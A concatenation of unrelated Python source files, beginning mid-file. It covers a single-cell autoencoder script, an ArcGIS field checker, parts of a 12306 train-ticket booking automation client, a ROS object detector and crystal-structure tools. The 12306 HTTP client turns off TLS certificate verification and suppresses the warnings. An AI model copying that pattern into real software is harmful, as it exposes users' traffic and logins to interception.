header=None).iloc[:, -1].values return count, feature, barcode def read_csv(path): if ('.txt' in path) or ('tsv' in path): sep = '\t' elif '.csv' in path: sep = ',' else: raise ValueError("File {} not in format txt or csv".format(path)) data = pd.read_csv(path, sep=sep, index_col=0).T.astype('float32') genes = data.columns.values barcode = data.index.values counts = scipy.sparse.csr_matrix(data.values) return counts, genes, barcode # model def build_mlp(layers, activation=nn.ReLU()): net = [] for i in range(1, len(layers)): net.append(nn.Linear(layers[i-1], layers[i])) net.append(activation) return nn.Sequential(*net) class Encoder(nn.Module): def __init__(self,dims): super(Encoder, self).__init__() [x_dim, h_dim, z_dim] = dims self.hidden = build_mlp([x_dim]+h_dim +[z_dim]) def forward(self, x): x = self.hidden(x) return x class Decoder(nn.Module): def __init__(self, dims, output_activation=None): super(Decoder, self).__init__() [z_dim, h_dim, x_dim] = dims self.hidden = build_mlp([z_dim, *h_dim]) self.reconstruction = nn.Linear([z_dim, *h_dim][-1], x_dim) self.output_activation = output_activation def forward(self, x): x = self.hidden(x) if self.output_activation is not None: return self.output_activation(self.reconstruction(x)) else: return self.reconstruction(x) class AE(nn.Module): def __init__(self,dims): super(AE, self).__init__() [x_dim, z_dim, encode_dim, decode_dim] = dims self.encoder = Encoder([x_dim, encode_dim, z_dim]) self.decoder = Decoder([z_dim, decode_dim, x_dim]) self.reset_parameters() def reset_parameters(self): for m in self.modules(): if isinstance(m, nn.Linear): init.xavier_normal_(m.weight.data) if m.bias is not None: m.bias.data.zero_() def forward(self, x): feature = self.encoder(x) recon_x = self.decoder(feature) return recon_x def loss_func(self,x): feature = self.encoder(x) recon_x = self.decoder(feature) criteon = nn.MSELoss() loss = criteon(recon_x,x) return loss def fit(self,dataloader,outdir,lr = 0.001,epochs = 10000 ,max_iter = 10000): optimizer = optim.Adam(model.parameters(), lr=lr) iteration =0 Loss = [] early_stopping = EarlyStopping() with trange(max_iter, disable=False) as pbar: while True: epoch_loss = 0 for i,x in enumerate(dataloader): epoch_lr = adjust_learning_rate(lr, optimizer, iteration) optimizer.zero_grad() loss = self.loss_func(x) loss.backward() optimizer.step() epoch_loss += loss.item() pbar.set_postfix_str('loss={:.3f}'.format(loss)) pbar.update(1) iteration+=1 Loss.append(loss) if iteration >= max_iter: break else: early_stopping(epoch_loss, self) if early_stopping.early_stop: print('EarlyStopping: run {} iteration'.format(iteration)) break continue break def encodeBatch(self, dataloader,out='z',transforms=None): output = [] for i, inputs in enumerate(dataloader): x = inputs x = x.view(x.size(0), -1).float() feature = self.encoder(x) if out == 'z': output.append(feature.detach().cpu()) elif out == 'x': recon_x = self.decoder(feature) output.append(recon_x.detach().cpu().data) output = torch.cat(output).numpy() if out == 'x': for transform in transforms: output = transform(output) return output class AAE(AE): def __init__(self, dims, n_centroids): super(AAE, self).__init__(dims) self.n_centroids = n_centroids def adjust_learning_rate(init_lr, optimizer, iteration): lr = max(init_lr * (0.9 ** (iteration//10)), 0.00002) for param_group in optimizer.param_groups: param_group["lr"] = lr return lr class EarlyStopping: def __init__(self, patience=100, verbose=False, outdir='./'): self.patience = patience self.verbose = verbose self.counter = 0 self.best_score = None self.early_stop = False self.loss_min = np.Inf self.model_file = os.path.join(outdir, 'model.pt') def __call__(self, loss, model): if np.isnan(loss): self.early_stop = True score = -loss if self.best_score is None: self.best_score = score self.save_checkpoint(loss, model) elif score < self.best_score: self.counter += 1 if self.verbose: print(f'EarlyStopping counter: {self.counter} out of {self.patience}') if self.counter >= self.patience: self.early_stop = True model.load_model(self.model_file) else: self.best_score = score self.save_checkpoint(loss, model) self.counter = 0 def save_checkpoint(self, loss, model): if self.verbose: print(f'Loss decreased ({self.loss_min:.6f} --> {loss:.6f}). Saving model ...') torch.save(model.state_dict(), self.model_file) self.loss_min = loss # plot import matplotlib matplotlib.use('agg') from matplotlib import pyplot as plt import seaborn as sns def plot_embedding(X, labels, classes=None, method='tSNE', cmap='tab20', figsize=(4, 4), markersize=4, marker=None, return_emb=False, save=False, save_emb=False, show_legend=True, show_axis_label=True, **legend_params): if marker is not None: X = np.concatenate([X, marker], axis=0) N = len(labels) if X.shape[1] != 2: if method == 'tSNE': from sklearn.manifold import TSNE X = TSNE(n_components=2, random_state=124).fit_transform(X) if method == 'UMAP': from umap import UMAP X = UMAP(n_neighbors=30, min_dist=0.1).fit_transform(X) if method == 'PCA': from sklearn.decomposition import PCA X = PCA(n_components=2, random_state=124).fit_transform(X) plt.figure(figsize=figsize) if classes is None: classes = np.unique(labels) if cmap is not None: cmap = cmap elif len(classes) <= 10: cmap = 'tab10' elif len(classes) <= 20: cmap = 'tab20' else: cmap = 'husl' colors = sns.color_palette(cmap, n_colors=len(classes)) for i, c in enumerate(classes): plt.scatter(X[:N][labels==c, 0], X[:N][labels==c, 1], s=markersize, color=colors[i], label=c) if marker is not None: plt.scatter(X[N:, 0], X[N:, 1], s=10*markersize, color='black', marker='*') # plt.axis("off") legend_params_ = {'loc': 'center left', 'bbox_to_anchor':(1.0, 0.45), 'fontsize': 10, 'ncol': 1, 'frameon': False, 'markerscale': 1.5 } legend_params_.update(**legend_params) if show_legend: plt.legend(**legend_params_) sns.despine(offset=10, trim=True) if show_axis_label: plt.xlabel(method+' dim 1', fontsize=12) plt.ylabel(method+' dim 2', fontsize=12) if save: plt.savefig(save, format='jpg', bbox_inches='tight') else: plt.show() if save_emb: np.savetxt(save_emb, X) if return_emb: return X def mkdir(path): path=path.strip() path=path.rstrip("\\") isExists=os.path.exists(path) if not isExists: os.makedirs(path) print( path+'path create') return True else: print ('already exist') return False normalizer = MaxAbsScaler() dataset = SingleCellDataset('%s'%(sys.argv[2]), low=0.01, high=0.9, min_peaks=100, transforms=[normalizer.fit_transform]) trainloader = DataLoader(dataset, batch_size=100, shuffle=False, drop_last=False) testloader = DataLoader(dataset, batch_size=100, shuffle=False, drop_last=False) cell_num = dataset.shape[0] input_dim = dataset.shape[1] n_centroids = 8 name = 'Forebrain' z_dim = int('%s'%(sys.argv[4])) h_dim = [1024, 128] decode_dim = [] lr = 0.01 epochs = 9999 max_iter = int('%s'%(sys.argv[1])) mkpath='%s'%(sys.argv[3]) mkdir(mkpath) outdir = mkpath dims = [input_dim, z_dim, h_dim, decode_dim] model = AAE(dims, n_centroids= n_centroids) print('\n ### Training…… ###') model.fit(trainloader,lr=lr,epochs=epochs,max_iter=max_iter,outdir = outdir) #torch.save(model.to('cpu').state_dict(), os.path.join(outdir, 'model_tmp.pt')) feature = model.encodeBatch(testloader,out='z') pd.DataFrame(feature, index=dataset.barcode).to_csv(os.path.join(outdir, 'feature.txt'), sep='\t', header=False) recon_x = model.encodeBatch(testloader, out='x', transforms=[normalizer.inverse_transform]) recon_x = pd.DataFrame(recon_x.T, index=dataset.peaks, columns=dataset.barcode) recon_x.to_csv(os.path.join(outdir, 'imputed_data.txt'), sep='\t') print("Plotting embedding") reference = '%s'%(sys.argv[5]) emb = 'UMAP' #emb = 'tSNE' ref = pd.read_csv(reference, sep='\t', header=None, index_col=0)[1] labels = ref.reindex(dataset.barcode, fill_value='unknown') X= plot_embedding(feature, labels, method=emb, save=os.path.join(outdir, 'emb_{}ae.jpg'.format(emb)), save_emb=os.path.join(outdir, 'emb_{}.txt'.format(emb)),return_emb = True) ```
{ "source": "jingsam/tianditu", "score": 2 }
#### File: jingsam/tianditu/CheckRareName.py ```python __author__ = '<EMAIL>' import os import re import arcpy from parallel import check_parallel def check_rare_name_task(args, cpus, pid): in_fc = args[0] fields = args[1] error_id = "ERR04" layer = os.path.basename(in_fc) content = "道路名称字段不能含有不合理的字符" description = "图层【{0}】的ID为【{1}】的要素,道路名称字段不能含有不合理的字符。" warning = "不忽略" desc = arcpy.Describe(in_fc) errors = [] pattern = re.compile(u"[ ~!!.·#¥%…&*]") _fields = ["OID@", "SHAPE@XY"] + fields cursor = arcpy.da.SearchCursor(in_fc, _fields, spatial_reference=desc.spatialReference.GCS) for row in cursor: if row[0] % cpus != pid: continue for i in xrange(2, len(row)): if not row[i]: continue # row[i] is a unicode string display_name = row[i].encode("utf-8") field = _fields[i] match = pattern.search(row[i]) if match: errors.append('{0}, {1}, {2}, {3}, {4}, {5}, {6}, {7}\n' .format(row[0], error_id, layer, content, description.format(layer, row[0]), row[1][0], row[1][1], warning)) continue try: row[i].encode("gb2312") except UnicodeEncodeError: errors.append('{0}, {1}, {2}, {3}, {4}, {5}, {6}, {7}\n' .format(row[0], error_id, layer, content, description.format(layer, row[0]), row[1][0], row[1][1], warning)) continue del cursor return ''.join(errors) def check_rare_name(in_fc, fields, out_chk): if not arcpy.Exists(in_fc): arcpy.AddIDMessage("ERROR", 110, in_fc) raise SystemExit() ext = os.path.splitext(out_chk)[1] if ext != '.csv': out_chk += '.csv' f = open(out_chk, 'w') f.write('OID, ErrorID, Layer, InspectionContent, Description, X, Y, Warning\n') # result = check_rare_name_task((in_fc, fields), 1, 0) result = check_parallel(check_rare_name_task, (in_fc, fields)) f.write(result) f.close() if __name__ == "__main__": in_fc = arcpy.GetParameterAsText(0) fields = arcpy.GetParameterAsText(1) out_chk = arcpy.GetParameterAsText(2) check_rare_name(in_fc, fields.split(";"), out_chk) ``` #### File: jingsam/tianditu/parallel.py ```python __author__ = '<EMAIL>' import multiprocessing def check_parallel(check_func, args): multiprocessing.freeze_support() pool = multiprocessing.Pool() cpus = multiprocessing.cpu_count() results = [] for pid in xrange(0, cpus): result = pool.apply_async(check_func, args=(args, cpus, pid)) results.append(result) pool.close() pool.join() errors = [] for result in results: errors.append(result.get()) return ''.join(errors) ```
{ "source": "jingshaoqi/12306-1", "score": 2 }
#### File: 12306-1/inter/GetQueueCount.py ```python import datetime import sys import time from collections import OrderedDict import wrapcache from config.ticketConf import _get_yaml from inter.ConfirmSingleForQueue import confirmSingleForQueue def conversion_int(str): return int(str) class getQueueCount: def __init__(self, session, is_need_code, ifShowPassCodeTime, set_type, station_dates, train_no, ticket_peoples, ticketInfoForPassengerForm, token, oldPassengerStr, passengerTicketStrList): self.station_dates = station_dates self.session = session self.is_need_code = is_need_code self.ifShowPassCodeTime = ifShowPassCodeTime self.set_type = set_type self.train_no = train_no self.ticket_peoples = ticket_peoples self.ticket_black_list = {} self.ticketInfoForPassengerForm = ticketInfoForPassengerForm self.token = token self.oldPassengerStr = oldPassengerStr self.passengerTicketStrList = passengerTicketStrList def data_par(self): """ 参数结构 自动提交代码接口-autoSubmitOrderRequest - 字段说明 - secretStr 车票代码 - train_date 乘车日期 - tour_flag 乘车类型 - purpose_codes 学生还是成人 - query_from_station_name 起始车站 - query_to_station_name 结束车站 - cancel_flag 默认2,我也不知道干嘛的 - bed_level_order_num 000000000000000000000000000000 - passengerTicketStr 乘客乘车代码 - oldPassengerStr 乘客编号代码 :return: """ if sys.version_info.major is 2: new_train_date = filter(None, str(time.asctime(time.strptime(self.station_dates, "%Y-%m-%d"))).split(" ")) else: new_train_date = list(filter(None, str(time.asctime(time.strptime(self.station_dates, "%Y-%m-%d"))).split(" "))) data = OrderedDict() data['train_date'] = "{0} {1} 0{2} {3} 00:00:00 GMT+0800 (中国标准时间)".format( new_train_date[0], new_train_date[1], new_train_date[2], new_train_date[4], ), data['train_no'] = self.ticketInfoForPassengerForm['queryLeftTicketRequestDTO']['train_no'], data['stationTrainCode'] = self.ticketInfoForPassengerForm['queryLeftTicketRequestDTO'][ 'station_train_code'], data['seatType'] = self.set_type, data['fromStationTelecode'] = self.ticketInfoForPassengerForm['queryLeftTicketRequestDTO'][ 'from_station'], data['toStationTelecode'] = self.ticketInfoForPassengerForm['queryLeftTicketRequestDTO']['to_station'], data['leftTicket'] = self.ticketInfoForPassengerForm['leftTicketStr'], data['purpose_codes'] = self.ticketInfoForPassengerForm['purpose_codes'], data['train_location'] = self.ticketInfoForPassengerForm['train_location'], data['REPEAT_SUBMIT_TOKEN'] = self.token, return data def sendGetQueueCount(self): """ # 模拟查询当前的列车排队人数的方法 # 返回信息组成的提示字符串 :return: """ getQueueCountResult = self.session.httpClint.send(self.session.urls["getQueueCountUrl"], self.data_par()) if "status" in getQueueCountResult and getQueueCountResult["status"] is True: if "countT" in getQueueCountResult["data"]: ticket = getQueueCountResult["data"]["ticket"] ticket_split = sum(map(conversion_int, ticket.split(","))) if ticket.find(",") != -1 else ticket countT = getQueueCountResult["data"]["countT"] # if int(countT) is 0: print(u"排队成功, 你排在: {1}位, 当前余票还剩余: {0} 张".format(ticket_split, countT)) csf = confirmSingleForQueue(self.session, self.ifShowPassCodeTime, self.is_need_code, self.token, self.set_type, self.ticket_peoples, self.ticketInfoForPassengerForm, self.oldPassengerStr, self.passengerTicketStrList) csf.sendConfirmSingleForQueue() # else: # print(u"当前排队人数: {1} 当前余票还剩余:{0} 张,继续排队中".format(ticket_split, countT)) else: print(u"排队发现未知错误{0},将此列车 {1}加入小黑屋".format(getQueueCountResult, self.train_no)) wrapcache.set(key=self.train_no, value=datetime.datetime.now(), timeout=int(_get_yaml()["ticket_black_list_time"]) * 60) elif "messages" in getQueueCountResult and getQueueCountResult["messages"]: print(u"排队异常,错误信息:{0}, 将此列车 {1}加入小黑屋".format(getQueueCountResult["messages"][0], self.train_no)) wrapcache.set(key=self.train_no, value=datetime.datetime.now(), timeout=int(_get_yaml()["ticket_black_list_time"]) * 60) else: if "validateMessages" in getQueueCountResult and getQueueCountResult["validateMessages"]: print(str(getQueueCountResult["validateMessages"])) wrapcache.set(key=self.train_no, value=datetime.datetime.now(), timeout=int(_get_yaml()["ticket_black_list_time"]) * 60) else: print(u"未知错误 {0}".format("".join(getQueueCountResult))) ``` #### File: 12306-1/myUrllib/httpUtils.py ```python import json import socket from collections import OrderedDict from time import sleep import requests from agency.agency_tools import proxy from config import logger def _set_header_default(): header_dict = OrderedDict() # header_dict["Accept"] = "application/json, text/plain, */*" header_dict["Accept-Encoding"] = "gzip, deflate" header_dict[ "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) 12306-electron/1.0.1 Chrome/59.0.3071.115 Electron/1.8.4 Safari/537.36" header_dict["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8" header_dict["Origin"] = "https://kyfw.12306.cn" header_dict["Connection"] = "keep-alive" return header_dict class HTTPClient(object): def __init__(self, is_proxy): """ :param method: :param headers: Must be a dict. Such as headers={'Content_Type':'text/html'} """ self.initS() self._cdn = None self._proxies = None if is_proxy is 1: self.proxy = proxy() self._proxies = self.proxy.setProxy() # print(u"设置当前代理ip为 {}, 请注意代理ip是否可用!!!!!请注意代理ip是否可用!!!!!请注意代理ip是否可用!!!!!".format(self._proxies)) def initS(self): self._s = requests.Session() self._s.headers.update(_set_header_default()) return self def set_cookies(self, **kwargs): """ 设置cookies :param kwargs: :return: """ for k, v in kwargs.items(): self._s.cookies.set(k, v) def get_cookies(self): """ 获取cookies :return: """ return self._s.cookies.values() def del_cookies(self): """ 删除所有的key :return: """ self._s.cookies.clear() def del_cookies_by_key(self, key): """ 删除指定key的session :return: """ self._s.cookies.set(key, None) def setHeaders(self, headers): self._s.headers.update(headers) return self def resetHeaders(self): self._s.headers.clear() self._s.headers.update(_set_header_default()) def getHeadersHost(self): return self._s.headers["Host"] def setHeadersHost(self, host): self._s.headers.update({"Host": host}) return self def getHeadersReferer(self): return self._s.headers["Referer"] def setHeadersReferer(self, referer): self._s.headers.update({"Referer": referer}) return self @property def cdn(self): return self._cdn @cdn.setter def cdn(self, cdn): self._cdn = cdn def send(self, urls, data=None, **kwargs): """send request to url.If response 200,return response, else return None.""" allow_redirects = False is_logger = urls.get("is_logger", False) req_url = urls.get("req_url", "") re_try = urls.get("re_try", 0) s_time = urls.get("s_time", 0) is_cdn = urls.get("is_cdn", False) is_test_cdn = urls.get("is_test_cdn", False) error_data = {"code": 99999, "message": u"重试次数达到上限"} if data: method = "post" self.setHeaders({"Content-Length": "{0}".format(len(data))}) else: method = "get" self.resetHeaders() self.setHeadersReferer(urls["Referer"]) if is_logger: logger.log( u"url: {0}\n入参: {1}\n请求方式: {2}\n".format(req_url, data, method, )) self.setHeadersHost(urls["Host"]) if is_test_cdn: url_host = self._cdn elif is_cdn: if self._cdn: # print(u"当前请求cdn为{}".format(self._cdn)) url_host = self._cdn else: url_host = urls["Host"] else: url_host = urls["Host"] http = urls.get("httpType") or "https" for i in range(re_try): try: # sleep(urls["s_time"]) if "s_time" in urls else sleep(0.001) sleep(s_time) try: requests.packages.urllib3.disable_warnings() except: pass response = self._s.request(method=method, timeout=2, proxies=self._proxies, url=http + "://" + url_host + req_url, data=data, allow_redirects=allow_redirects, verify=False, **kwargs) if response.status_code == 200 or response.status_code == 302: if urls.get("not_decode", False): return response.content if response.content: if is_logger: logger.log( u"出参:{0}".format(response.content)) if urls["is_json"]: return json.loads(response.content.decode() if isinstance(response.content, bytes) else response.content) else: return response.content.decode("utf8", "ignore") if isinstance(response.content, bytes) else response.content else: logger.log( u"url: {} 返回参数为空".format(urls["req_url"])) continue else: sleep(urls["re_time"]) except (requests.exceptions.Timeout, requests.exceptions.ReadTimeout, requests.exceptions.ConnectionError): pass except socket.error: pass print(error_data.get("massage")) return error_data ``` #### File: 12306-1/utils/timeUtil.py ```python def time_to_minutes(time_str): s = time_str.split(":") a = int(s[0]) * 60 + int(s[1]) return a def minutes_to_time(minutes): m = minutes % 60 if m<10: return str(minutes / 60) + ":" + str("0"+str(m)) else: return str(minutes / 60) + ":" + str(m) ```
{ "source": "jingshenglyu/Trajectory-Estimation", "score": 3 }
#### File: mbot_vision/scripts/TE_object_detect.py ```python import rospy import cv2 from cv_bridge import CvBridge, CvBridgeError from sensor_msgs.msg import Image import numpy as np from math import * from geometry_msgs.msg import Pose BLUE_LOW = 0 BLUE_HIGH = 40 GREEN_LOW = 00 GREEN_HIGH = 90 RED_LOW = 50 RED_HIGH = 240 class image_converter: def __init__(self): # Create cv_bridge, declaring publishers and subscribers of images self.image_pub = rospy.Publisher("object_detect_image", Image, queue_size=1) self.target_pub = rospy.Publisher("object_detect_pose", Pose, queue_size=1) self.bridge = CvBridge() self.image_sub = rospy.Subscriber("/RGBD/rgb/image_raw", Image, self.callback) def callback(self,data): # Convert ROS image data to OpenCV image format using cv_bridge try: cv_image = self.bridge.imgmsg_to_cv2(data, "bgr8") except CvBridgeError as e: print e # define the list of boundaries in BGR boundaries = [([BLUE_LOW, GREEN_LOW, RED_LOW], [BLUE_HIGH, GREEN_HIGH, RED_HIGH])] # loop over the boundaries # print(boundaries) for (lower, upper) in boundaries: # create NumPy arrays from the boundaries lower = np.array(lower, dtype = "uint8") upper = np.array(upper, dtype = "uint8") # find the colors within the specified boundaries and apply the mask mask = cv2.inRange(cv_image, lower, upper) output = cv2.bitwise_and(cv_image, cv_image, mask = mask) cvImg = cv2.cvtColor(output, 6) #cv2.COLOR_BGR2GRAY npImg = np.asarray( cvImg ) thresh = cv2.threshold(npImg, 1, 255, cv2.THRESH_BINARY)[1] # find contours in the thresholded image img, cnts, hierarchy = cv2.findContours(thresh, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) #cnts = cnts[0] # loop over the contours for c in cnts: # compute the center of the contour M = cv2.moments(c) if int(M["m00"]) not in range(4000, 250000): continue cX = int(M["m10"] / M["m00"]) cY = int(M["m01"] / M["m00"]) cv2.drawContours(cv_image, [c], -1, (0, 0, 255), 2) cv2.circle(cv_image, (cX, cY), 1, (0, 0, 255), -1) objPose = Pose() objPose.position.x = cX; objPose.position.y = cY; objPose.position.z = M["m00"]; self.target_pub.publish(objPose) # Displaying images in Opencv format # cv2.imshow("Image window", cv_image) # cv2.waitKey(3) # Convert the opencv data to ros image format for publishing try: self.image_pub.publish(self.bridge.cv2_to_imgmsg(cv_image, "bgr8")) except CvBridgeError as e: print e if __name__ == '__main__': try: # Initialising the ros node rospy.init_node("object_detect") rospy.loginfo("Starting detect object") image_converter() rospy.spin() except KeyboardInterrupt: print "Shutting down object_detect node." cv2.destroyAllWindows() ```
{ "source": "jingshenSN2/CrystalTool", "score": 3 }
#### File: crystalbase/parse/parse_res.py ```python import re from ..atom_base import AtomGroup def parse_from_res(filename: str, multilayer=(False, False, False), remove_extra=True): """解析res文件中的晶胞信息""" name = filename.split('/')[-1] cell = AtomGroup(name, multilayer) syms = [] atom_dict = {} res = open(filename, 'r') res_lines = res.readlines() res.close() length = len(res_lines) index = 0 # 读取shelxt求解评分 for i in range(length): line = res_lines[i].rstrip('\n') if line.startswith('REM SHELXT'): line = line.rstrip('\n') pattern = re.compile('R1 (\\d+\\.\\d+), Rweak (\\d+\\.\\d+), Alpha (\\d+\\.\\d+)') match = re.search(pattern, line) if match: r1, rweak, al = map(float, match.groups()) cell.set_shelxt_score(r1, rweak, al) index = i + 1 break # 读取晶胞参数 for i in range(index, length): line = res_lines[i].rstrip('\n') if line.startswith('CELL'): line = line.rstrip('\n') s = line.split() a, b, c, alpha, beta, gamma = map(float, s[2:]) cell.set_parameter(a, b, c, alpha, beta, gamma) index = i + 1 break # 读取对称性信息 for i in range(index, length): line = res_lines[i].rstrip('\n') if line.startswith('LATT'): line = line.replace('LATT', '').replace(' ', '') latt = int(line) cell.set_latt(latt) index = i + 1 break for i in range(index, length): line = res_lines[i].rstrip('\n') if line.startswith('SYMM'): line = line.replace('SYMM', '').replace(' ', '') sym = tuple(line.split(',')) syms.append(sym) cell.set_symmetry(syms) # 读取元素信息 for i in range(index, length): line = res_lines[i].rstrip('\n') if line.startswith('SFAC'): s = line.split() for e in range(1, len(s)): atom_dict[e] = s[e].capitalize() # 统一大写 index = i + 1 break # 读取元素坐标信息 for i in range(index, length): line = res_lines[i].rstrip('\n') s = line.split() if len(s) <= 6 or not s[5].startswith('11.0000'): continue else: label = s[0] x, y, z = map(float, s[2:5]) intensity = -1 if len(s) == 8: intensity = s[7] element = atom_dict[int(s[1])] cell.add_atom(element, label, x, y, z, intensity) cell.calc_neighbors() if remove_extra: # 有时RES文件中CNO判断不准,不能按照元素移除多余的键 cell.remove_extra_connection() return cell ``` #### File: crystalsearch/graph/graph.py ```python import networkx as nx import numpy as np def project3d(points, direction): """ 投影函数,将三维点集投影到二维 投影平面内的y方向为z轴投影(如果投影的法向量为z轴,则y方向为x轴投影) :param points: 三维点集 :param direction: 投影平面的法向量(u,v,w),投影平面通过原点(0,0,0) """ d = direction / np.linalg.norm(direction) y0 = np.array([1, 0, 0]) if np.array([0, 0, 1]).dot(d) == 1 else np.array([0, 0, 1]) y1 = y0 - np.dot(d, y0) * d norm_y = y1 / np.linalg.norm(y1) x0 = np.cross(norm_y, d) norm_x = x0 / np.linalg.norm(x0) pos = {} for k in points: p0 = np.array(points[k]) p1 = p0 - np.dot(d, p0) * d pos[k] = (np.dot(norm_y, p1), np.dot(norm_x, p1)) return pos class Graph: """ 包装nx.Graph的图类 """ def __init__(self, name, nx_graph=None): self.name = name self.info = {} self.g = nx.Graph(nx_graph) def __len__(self): return len(self.nodes()) def __getitem__(self, node): return self.g[node] def copy(self): return Graph(self.name, self.g) def add_node(self, node, **attr): self.g.add_node(node, **attr) def add_edge(self, node1, node2, **attr): self.g.add_edge(node1, node2, **attr) def remove_node(self, node): self.g.remove_node(node) def nodes(self): return self.g.nodes def edges(self): return self.g.edges def degree(self, node=None): if node is not None: return self.g.degree[node] return self.g.degree def subgraph(self, nodes): return Graph(self.name, self.g.subgraph(nodes)) def max_subgraph(self): mc = max(nx.connected_components(self.g), key=len) return Graph(self.name, self.g.subgraph(mc)) def is_connected(self): return nx.is_connected(self.g) def get_node_attributes(self, attr): return nx.get_node_attributes(self.g, attr) def get_edge_attributes(self, attr): return nx.get_edge_attributes(self.g, attr) def draw_graph(self, axes, highlight=None, direction=(0, 0, 1), rotation=None): """用matlotlib画二维投影图""" axes.clear() points = self.get_node_attributes('location') if rotation is not None: for k in points: points[k] = np.dot(points[k], rotation) pos = project3d(points, np.array(direction)) label = self.get_node_attributes('label') edge_label = self.get_edge_attributes('dist') nx.draw_networkx(self.g, pos, alpha=0.7, with_labels=False, edge_color='.4', ax=axes) if highlight is not None: nx.draw_networkx_nodes(self.g, pos=pos, nodelist=highlight, node_color='r', ax=axes) nx.draw_networkx_labels(self.g, pos, labels=label, ax=axes) nx.draw_networkx_edge_labels(self.g, pos, edge_labels=edge_label, ax=axes) axes.axis('off') def draw_3d_graph(self, axes, highlight=None): """用matlotlib画三维图""" axes.clear() points = self.get_node_attributes('location') label = self.get_node_attributes('label') if highlight is None: highlight = [] for key, value in points.items(): c = 'blue' # 普通原子为蓝色 if key in highlight: c = 'red' # 高亮原子用红色表示 xi, yi, zi = value axes.scatter(xi, yi, zi, label[key], c=c, alpha=0.9) for i, j in enumerate(self.edges()): # 用两端原子的坐标连线,绘制化学键 x = np.array((points[j[0]][0], points[j[1]][0])) y = np.array((points[j[0]][1], points[j[1]][1])) z = np.array((points[j[0]][2], points[j[1]][2])) axes.plot(x, y, z, c='black', alpha=0.9) def number_of_edges(self, u, v): return self.g.number_of_edges(u, v) ``` #### File: crystalsearchgui/input/match_ui.py ```python from ..libs import * class MatchUI(QWidget): def __init__(self, main_ui): super().__init__() self.main = main_ui self.has_hkl = False self.has_ins = False self.has_res = False self.has_pdb = False self.hkl_files = [] self.ins_file = '' self.res_files = [] self.pdb_file = '' self.init_ui() def init_ui(self): self.widget = QWidget() self.layout = QFormLayout() self.lb_res = QLabel('未选择文件,请选择衍射res文件', self.widget) self.lb_res.setStyleSheet("color:red") self.lb_pdb = QLabel('未选择文件,请选择待搜索pdb文件', self.widget) self.lb_pdb.setStyleSheet("color:red") self.bt_match = QPushButton('开始匹配', self.widget) self.bt_match.setToolTip('如果没有RES文件,请先用左侧的求解结构,\n指定HKL和INS文件后,程序会用自带shelxt求解') self.lb_match_status = QLabel('', self.widget) self.bt_res = QPushButton('+', self.widget) self.bt_pdb = QPushButton('+', self.widget) self.layout.addRow(self.bt_res, self.lb_res) self.layout.addRow(self.bt_pdb, self.lb_pdb) self.layout.addRow(self.bt_match, self.lb_match_status) self.bt_res.clicked.connect(self.open_res) self.bt_pdb.clicked.connect(self.open_pdb) self.bt_match.clicked.connect(self.main.match) def start_run(self): if not self.has_files(): self.set_text('缺失文件') return False self.set_text('正在匹配...已完成0/%d' % len(self.res_files)) return True def set_process(self, process: int): res_count = len(self.res_files) if res_count == 0: return self.set_text('正在匹配...已完成%d/%d' % (process, res_count)) if process == res_count: self.set_text('求解完成') def set_text(self, text: str): self.lb_match_status.setText(text) self.lb_match_status.repaint() def open_res(self): self.res_files, success = QFileDialog.getOpenFileNames(self, '选择衍射结构的RES文件', './', 'Res Files (*.res)') if success: self.lb_res.setText('已选%d个文件(鼠标悬停以查看)' % len(self.res_files)) self.lb_res.setToolTip('\n'.join(self.res_files)) self.lb_res.setStyleSheet("color:black") self.has_res = True def open_pdb(self): self.pdb_file, success = QFileDialog.getOpenFileName(self, '选择待搜索结构的PDB文件', './', 'Pdb Files (*.pdb)') if success: self.lb_pdb.setText('已选%s' % self.pdb_file.split('/')[-1]) self.lb_pdb.setToolTip(self.pdb_file) self.lb_pdb.setStyleSheet("color:black") self.has_pdb = True def has_files(self): return self.has_res and self.has_pdb def get_res_files(self): return self.res_files def get_pdb_file(self): return self.pdb_file ``` #### File: crystalsearchgui/output/result_table_ui.py ```python from ..libs import * from . import SubResultUI class ResultTableUI(QWidget): def __init__(self): super().__init__() self.init_ui() self.results = None self.results_ui = {} def init_ui(self): self.layout = QHBoxLayout() self.table = QTableWidget() self.table.setColumnCount(7) self.table.setRowCount(6) self.table.horizontalHeader().setSectionResizeMode(QHeaderView.Interactive) self.table.setSortingEnabled(True) self.table.setEditTriggers(QAbstractItemView.NoEditTriggers) self.table.setSelectionBehavior(QAbstractItemView.SelectRows) self.table.setHorizontalHeaderLabels(['序号', 'res文件', '匹配成功', '匹配上原子数', '加权匹配比例', '坐标匹配残差', '操作']) self.table.verticalHeader().setHidden(True) self.layout.addWidget(self.table) def updateResults(self, results): self.results = results self.results_ui = {} l = len(results) self.table.clearContents() self.table.sortByColumn(0, Qt.AscendingOrder) self.table.setRowCount(l) for i in range(l): r = results[i] index = QTableWidgetItem() target = QTableWidgetItem() is_match = QTableWidgetItem() max_nm = QTableWidgetItem() max_rwm = QTableWidgetItem() min_mse = QTableWidgetItem() index.setData(Qt.DisplayRole, i + 1) target.setText(r.target.name) is_match.setText('是' if r.is_matched else '否') max_nm.setData(Qt.DisplayRole, r.best_feature[0] if r.is_matched else 0) max_rwm.setText('%.1f%%' % (r.best_feature[1] * 100) if r.is_matched else '') min_mse.setText('%.2f' % (r.best_feature[2]) if r.is_matched else '') self.table.setItem(i, 0, index) self.table.setItem(i, 1, target) self.table.setItem(i, 2, is_match) self.table.setItem(i, 3, max_nm) self.table.setItem(i, 4, max_rwm) self.table.setItem(i, 5, min_mse) if r.is_matched: bt_view = self.generate_button(r) self.table.setCellWidget(i, 6, bt_view) def generate_button(self, result): button = QPushButton('查看') bt_widget = QWidget() hLayout = QHBoxLayout() hLayout.addWidget(button) hLayout.setContentsMargins(5, 2, 5, 2) bt_widget.setLayout(hLayout) button.clicked.connect(lambda: self.view_result(result)) return bt_widget def view_result(self, result): if result not in self.results_ui: self.results_ui[result] = SubResultUI(result) self.results_ui[result].show() ``` #### File: crystalsearch/matcher/match_condition.py ```python from crystalbase import Atom def node_match(atom1: Atom, atom2: Atom): """节点匹配,原子质量之比0.7~1.4内为匹配""" ratio = atom1.mass / atom2.mass return 0.7 < ratio < 1.4 def edge_match(edge1, edge2): """默认edge无条件匹配""" return True if edge1 == edge2 else True ``` #### File: crystaltoolgui/tabs/tabmatchresult.py ```python from PyQt5 import QtCore, QtGui, QtWidgets class Ui_tabmatchresult(object): def setupUi(self, tabmatchresult): 